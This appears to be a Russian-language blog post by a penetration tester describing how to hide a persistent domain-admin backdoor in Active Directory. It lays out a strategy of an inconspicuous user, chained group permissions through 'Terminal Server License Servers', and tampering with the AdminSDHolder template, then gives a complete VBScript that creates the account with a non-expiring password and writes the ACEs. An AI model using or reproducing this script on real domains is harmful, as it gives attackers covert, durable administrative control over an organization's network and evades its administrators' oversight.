понедельник, 28 февраля 2011 г.

Backdoor в Active Directory

В свое время, менее года назад, на хабре мелькала публикация с аналогичным заголовком. В ней автор предлагал способ по сокрытию привилегий администратора домена путем использования в качестве контейнера, для размещения «скрытой» учетной записи, служебное хранилище «Program data», в совокупностью с агрессивным разграничением прав с целью предотвращения доступа к «спрятанной» учетной записи. Однако, несмотря на заверения автора, обнаружение «скрытой» учетной записи и ее последующее удаление можно было выполнить всего в несколько кликов.


1. Обнаружение и беспрепятственное удаление учетной записи (несмотря на обратные заверения автора [1]).

2. Удаление следов из каталога Active Directory.
Т.е. предложенный подход на практике будет не работоспособен. Но может быть существует более подходящая альтернатива этому способу (в том числе без использования руткитов на контроллерах домена:))?

В силу того, что моя деятельность напрямую связана с проведением тестирований на проникновение, этот вопрос некоторое время крутился у меня в голове. И крутился до того, момента пока не потребовалось в одной из проводимых мною работ оставаться незамеченным на протяжении продолжительного времени, при этом оставаясь и администратором предприятия и выполняя условие по минимизации воздействия на информационную систему.

Как говорил один известный писатель детективных романов:
— Где лучше всего спрятать лист?
— В осеннем лесу!
— Где лучше всего спрятать камень?
— На морском берегу!
— А где лучше всего спрятать труп?
— На поле сражения.

Проводя параллель с каталогом домена можно придерживаться следующей стратегии:

— Идентификатор backdoor лучше не прятать, а держать в одном контейнере с большим скоплением других идентификаторов пользователей. При этом создаваемый идентификатор должен быть максимально похож на самую обычную корпоративную учетную запись.

— Идентификатор backdoor не должен непосредственно являться членом групп с расширенными привилегиями в домене. Для этого лучше использовать возможности контроля доступа, как показано на картинке ниже.
— Не совсем разумно «светить» идентификатор backdoor пользователя даже в списках контроля доступа у групп с расширенными привилегиями в домене. Более разумный подход – расширение привилегий группам безопасности, которые уже являются участниками ACLs в списках контроля доступа у групп с расширенными привилегиями в домене. Для этих целей удачно подходит группа «Builtin\Terminal Server License Servers»:
Итак, для эффективного создания бэкдора, по описанному сценарию выше, требуется:
1. Завести неприметного пользователя;
2. Разрешить этому пользователю изменять список участников группы «Builtin\Terminal Server License Servers»;
3. Разрешить группе «Builtin\Terminal Server License Servers» изменять список участников группы, например, «Domain Admins».

Тут стоит отметить небольшой нюанс. Просто так изменить список контроля доступа для группы «Domain Admins» не получится. Дело в том, что в архитектуре Active Directory предусмотрена защита списков контроля доступа наиболее чувствительных объектов (adminSDHolder, [2]), в их числе:

— Enterprise Admins
— Schema Admins
— Domain Admins
— Administrators
— Domain Controllers
— Cert Publishers
— Backup Operators
— Replicator Server Operators
— Account Operators
— Print Operators

Для того чтобы вносимые изменения в список контроля доступа перечисленных выше групп не перезаписывались каждый час, требуется либо изменить шаблонный список контроля доступа на объекте «CN=AdminSDHolder,CN=System, », либо установить атрибут «adminCount» в ноль для требуемого объекта [3]. Перезаписать шаблонный список контроля доступа видится мне более перспективным т.к. не каждый администратор знаком с подобным «защитным» механизмом Active Directory.

Для автоматизации «закладки» в Active Directory может использоваться сценарий, который приведен ниже.

On Error Resume Next

' Имя и пароль пользователя
username = "PT"
password = "P@ssw0rd"

' Организационная единица, в которой будет создан пользователь
userDN = "cn=Users"

' Группа, которая уже содержится в ACLs группы Domain Admins
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTIN\Terminal Server License Servers"

' Группа администраторов
adminsGroup = "CN=Domain Admins,CN=Users"

Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)

Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))

' Создаем пользователя
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next

' Устанавливаем пароль, который будет жить вечно ;)
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next

' Разрешаем созданному пользователю изменять список участников группы Terminal Server License Servers
GroupAddAce joinGroupDN,username

' Разрешаем членам группы Terminal Server License Servers изменять список участников группы Domain Admins
GroupAddAce adminsGroup,joinGroup

' Меняем "защитный" шаблон безопасности ACL на аналогичное разрешение выше
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup

Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))

Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

End Function
Стоит лишь добавить, что, несмотря на свою простоту, обнаружить подобную закладку без средств непрерывного автоматизированного контроля довольно сложно. А развивая идею можно подумать в сторону и более сложных закладок, например, разрешить пользователю управлять групповыми политиками для OU, содержащего контроллеры домена и т.п.
Источник: здесь

Комментариев нет:

Отправить комментарий